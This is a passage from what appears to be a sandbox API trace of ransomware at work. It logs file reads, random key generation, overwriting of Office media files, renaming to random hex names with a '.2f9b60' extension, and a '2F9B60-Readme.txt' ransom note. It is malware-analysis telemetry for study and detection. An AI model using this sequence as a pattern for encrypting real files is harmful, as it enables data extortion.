Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x14e4ae [0131.277] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x3a266d63 [0131.277] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x51dbde3a [0131.277] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x3778e163 [0131.277] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x5620e8fd [0131.277] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x880f0ef [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x37f46118 [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x468ef1d0 [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x313cbd6e [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x7092f28d [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0xc5891df [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x21b39057 [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x294b6529 [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x7e439cba [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x1a268054 [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x1dd8b507 [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x3e4495a1 [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x64b79c63 [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x4acb4b5c [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x62be7191 [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x34fd45d4 [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x15aaf1ca [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x108c64d2 [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x3d77930d [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x499701ec [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x1a6e50a [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x57ae5027 [0131.278] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x7e62fd45 [0131.290] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.290] ReadFile (in: hFile=0x1ac0, lpBuffer=0x41f100b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2369f780, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesRead=0x2369f780*=0x3c00, lpOverlapped=0x0) returned 1 [0131.305] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0131.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0131.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266960) returned 1 [0131.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f2e130 [0131.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0131.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668d0 [0131.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202668d0) returned 1 [0131.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.307] WriteFile (in: hFile=0x1ac0, lpBuffer=0x41f2e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2369f780, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesWritten=0x2369f780*=0x3c00, lpOverlapped=0x0) returned 1 [0131.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0131.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0131.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202668d0 [0131.314] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.314] WriteFile (in: hFile=0x1ac0, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2369f830, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2369f830*=0x10a, lpOverlapped=0x0) returned 1 [0131.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0131.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266990 [0131.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266990) returned 1 [0131.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266990 [0131.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0131.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a50) returned 1 [0131.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.331] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="62") returned 2 [0131.331] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="4f") returned 2 [0131.331] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="96") returned 2 [0131.331] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="47") returned 2 [0131.331] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="7e") returned 2 [0131.331] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="d3") returned 2 [0131.331] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="77") returned 2 [0131.331] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="a4") returned 2 [0131.331] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="1f") returned 2 [0131.331] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="9d") returned 2 [0131.332] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="ea") returned 2 [0131.332] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="be") returned 2 [0131.332] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="ef") returned 2 [0131.332] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="4a") returned 2 [0131.332] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="2e") returned 2 [0131.332] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="72") returned 2 [0131.332] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="4b") returned 2 [0131.332] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="c9") returned 2 [0131.332] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="01") returned 2 [0131.332] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="f4") returned 2 [0131.332] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="ce") returned 2 [0131.332] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="20") returned 2 [0131.332] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="a7") returned 2 [0131.332] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="99") returned 2 [0131.332] RtlInitAnsiString (in: DestinationString=0x2369f8a8, SourceString="624f96477ed377a41f9deabeef4a2e724bc901f4ce20a799" | out: DestinationString="624f96477ed377a41f9deabeef4a2e724bc901f4ce20a799") [0131.332] RtlAnsiStringToUnicodeString (in: DestinationString=0x2369f878, SourceString="624f96477ed377a41f9deabeef4a2e724bc901f4ce20a799", AllocateDestinationString=1 | out: DestinationString="624f96477ed377a41f9deabeef4a2e724bc901f4ce20a799") returned 0x0 [0131.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c19c0 [0131.333] wcscat (in: _Dest=0x4205cbf0, _Source="624f96477ed3" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\624f96477ed3") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\624f96477ed3" [0131.333] wcscat (in: _Dest=0x4205cbf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\624f96477ed3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\624f96477ed3.2f9b60" [0131.333] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\624f96477ed3.2f9b60", NtPathName=0x2369f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\624f96477ed3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862460 [0131.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 [0131.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0131.335] NtQueryInformationFile (in: FileHandle=0x1ac0, IoStatusBlock=0x2369f8b8, FileInformation=0x2369f8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2369f8b8, FileInformation=0x2369f8c8) returned 0x0 [0131.335] NtSetInformationFile (FileHandle=0x1ac0, IoStatusBlock=0x2369f8b8, FileInformation=0x2369f8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0131.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c19c0) returned 1 [0131.337] FlushFileBuffers (hFile=0x1ac0) returned 1 [0131.348] CloseHandle (hObject=0x1ac0) returned 1 [0131.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050a260 [0131.350] wcscpy (in: _Dest=0x2050a260, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.350] wcscat (in: _Dest=0x2050a260, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a260) returned 1 [0131.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ab60) returned 1 Thread: id = 1732 os_tid = 0x1724 [0131.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif")) returned 0x20 [0131.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF", dwFileAttributes=0x20) returned 1 [0131.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac4 [0131.311] GetFileSizeEx (in: hFile=0x1ac4, lpFileSize=0x238bfd00 | out: lpFileSize=0x238bfd00*=19910) returned 1 [0131.311] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x4dc2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.311] ReadFile (in: hFile=0x1ac4, lpBuffer=0x238bfc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x238bfcc8, lpOverlapped=0x0 | out: lpBuffer=0x238bfc80*, lpNumberOfBytesRead=0x238bfcc8*=0x4, lpOverlapped=0x0) returned 1 [0131.316] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266990 [0131.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0131.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0131.317] NtQuerySystemTime (in: CurrentTime=0x238bfbc0 | out: CurrentTime=0x238bfbc0*=132462177365542000) returned 0x0 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x7e87eb87 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x496dc0ce [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0xbb53443 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0xc149597 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x2bd8b3d4 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x25a600f9 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x1e97271 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x6243e50f [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x5887e27a [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x38fa8023 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x573f5ee [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x1f86a1c6 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x763a0ba9 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x28603cfa [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x59a17bba [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x3c289663 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x4edcc8db [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x28751009 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x654568d6 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x70c4400e [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x48889fd3 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x50443d58 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x37232fe3 [0131.317] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x12be4523 [0131.318] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x4ecd645d [0131.318] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x7558f131 [0131.318] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x799f47d4 [0131.318] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x2ede8e66 [0131.318] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x22e26974 [0131.318] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x5a53ee3c [0131.318] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x24061c18 [0131.318] RtlRandomEx (in: Seed=0x238bfbb0 | out: Seed=0x238bfbb0) returned 0x653b6527 [0131.329] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.329] ReadFile (in: hFile=0x1ac4, lpBuffer=0x41f100b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x238bfc20, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesRead=0x238bfc20*=0x3c00, lpOverlapped=0x0) returned 1 [0131.345] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0131.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266810 [0131.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266810) returned 1 [0131.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f2e130 [0131.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266810 [0131.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0131.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266840) returned 1 [0131.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.346] WriteFile (in: hFile=0x1ac4, lpBuffer=0x41f2e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x238bfc20, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesWritten=0x238bfc20*=0x3c00, lpOverlapped=0x0) returned 1 [0131.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0131.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0131.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7380 [0131.368] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.369] WriteFile (in: hFile=0x1ac4, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x238bfcd0, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x238bfcd0*=0x10a, lpOverlapped=0x0) returned 1 [0131.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0131.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266930 [0131.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266930) returned 1 [0131.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266930 [0131.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266990 [0131.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266990) returned 1 [0131.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.375] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="f9") returned 2 [0131.375] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="7c") returned 2 [0131.375] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="98") returned 2 [0131.375] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="6b") returned 2 [0131.375] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="1f") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="37") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="26") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="76") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="b0") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="d4") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="57") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="bd") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="29") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="d0") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="b5") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="84") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="18") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="bf") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="8e") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="9c") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="2b") returned 2 [0131.376] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="c5") returned 2 [0131.377] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="43") returned 2 [0131.377] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="54") returned 2 [0131.377] RtlInitAnsiString (in: DestinationString=0x238bfd48, SourceString="f97c986b1f372676b0d457bd29d0b58418bf8e9c2bc54354" | out: DestinationString="f97c986b1f372676b0d457bd29d0b58418bf8e9c2bc54354") [0131.377] RtlAnsiStringToUnicodeString (in: DestinationString=0x238bfd18, SourceString="f97c986b1f372676b0d457bd29d0b58418bf8e9c2bc54354", AllocateDestinationString=1 | out: DestinationString="f97c986b1f372676b0d457bd29d0b58418bf8e9c2bc54354") returned 0x0 [0131.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1b80 [0131.377] wcscat (in: _Dest=0x4205cbf0, _Source="f97c986b1f37" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f97c986b1f37") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f97c986b1f37" [0131.377] wcscat (in: _Dest=0x4205cbf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f97c986b1f37.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f97c986b1f37.2f9b60" [0131.377] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f97c986b1f37.2f9b60", NtPathName=0x238bfcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f97c986b1f37.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862460 [0131.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 [0131.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0131.381] NtQueryInformationFile (in: FileHandle=0x1ac4, IoStatusBlock=0x238bfd58, FileInformation=0x238bfd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x238bfd58, FileInformation=0x238bfd68) returned 0x0 [0131.381] NtSetInformationFile (FileHandle=0x1ac4, IoStatusBlock=0x238bfd58, FileInformation=0x238bfd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0131.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b80) returned 1 [0131.413] FlushFileBuffers (hFile=0x1ac4) returned 1 [0131.432] CloseHandle (hObject=0x1ac4) returned 1 [0131.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050ab60 [0131.435] wcscpy (in: _Dest=0x2050ab60, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.435] wcscat (in: _Dest=0x2050ab60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ab60) returned 1 [0131.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b100) returned 1 Thread: id = 1733 os_tid = 0x1728 [0131.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft 